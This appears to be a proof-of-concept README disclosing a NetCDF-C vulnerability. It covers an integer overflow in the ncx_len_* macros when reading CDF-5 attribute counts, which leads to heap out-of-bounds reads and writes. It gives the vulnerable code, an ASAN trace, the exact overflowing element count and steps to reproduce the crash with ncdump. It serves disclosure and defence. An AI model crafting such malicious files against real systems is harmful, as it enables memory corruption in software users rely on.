0xiviel/poc-netcdf-attr-overflow

PoC: NetCDF-C CDF-5 Attribute Value Count Integer Overflow → Heap Buffer Overflow

Vulnerability

Integer overflow in ncx_len_* macros (libsrc/ncx.h) when computing attribute data size from nelems (element count) read from a CDF-5 format NetCDF file. The unchecked multiplication nelems * type_size wraps to a small value, causing undersized heap allocation. When NC3_get_att() later reads attribute values using the original (huge) nelems, it overflows both the source buffer (heap OOB READ) and the caller's destination buffer (heap OOB WRITE).

CWE: CWE-190 (Integer Overflow) → CWE-122 (Heap-Based Buffer Overflow) CVSS: 7.8 (High) Distinct from: CVE-2025-14932 through CVE-2025-14936 (those cover name overflows and NC variable int overflow — different code path)

Files

• —cdf5_attr_nelems_overflow.nc — 88-byte malicious CDF-5 file with nelems = 0x4000000000000001 for an NC_INT attribute

ASAN Confirmation

==244086==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b7bc1be00bc
READ of size 4 at 0x7b7bc1be00bc thread T0
    #0 swapn4b             ncx.c:261
    #1 ncx_getn_int_int    ncx.c:11651
    #2 ncx_pad_getn_Iint   attr.c:878
    #3 NC3_get_att         attr.c:1592
    #4 nc_get_att          dattget.c:147
    #5 pr_att              ncdump.c:811

Reproduce

git clone --depth 1 https://github.com/Unidata/netcdf-c /tmp/netcdf-c
cd /tmp/netcdf-c && mkdir build && cd build
cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -g -O0" \
         -DENABLE_TESTS=OFF -DENABLE_DAP=OFF -DENABLE_HDF5=OFF \
         -DENABLE_NCZARR=OFF -DENABLE_PLUGINS=OFF
make -j$(nproc)
./ncdump/ncdump -h cdf5_attr_nelems_overflow.nc

Root Cause

// ncx.h:141 — NO overflow check
#define ncx_len_int(nelems) ((nelems) * X_SIZEOF_INT)  // nelems * 4

// attr.m4:86 — uses overflowed xsz for allocation
const size_t xsz = ncx_len_NC_attrV(type, nelems); // wraps to 4
attrp = malloc(sizeof(NC_attr) + xsz);             // tiny allocation
attrp->nelems = nelems;                              // stores HUGE original

// attr.m4:990 — reads nelems values from tiny buffer
ncx_pad_getn_Iint(&xp, attrp->nelems, value, type); // OOB READ + WRITE

Overflow Chain

1. 1.File has attribute with type=NC_INT, nelems=0x4000000000000001
2. 2.ncx_len_int(0x4000000000000001) = 0x4000000000000001 * 4 = wraps to 4
3. 3.new_x_NC_attr() allocates sizeof(NC_attr) + 4 bytes, stores xsz=4, nelems=0x4000000000000001
4. 4.v1h_get_NC_attrV() safely copies only 4 bytes from file
5. 5.NC3_get_att() iterates 0x4000000000000001 times reading from 4-byte source → heap-buffer-overflow
6. 6.Caller ncdump allocates (nelems+1)*4 (wraps to 8) for destination → also overflows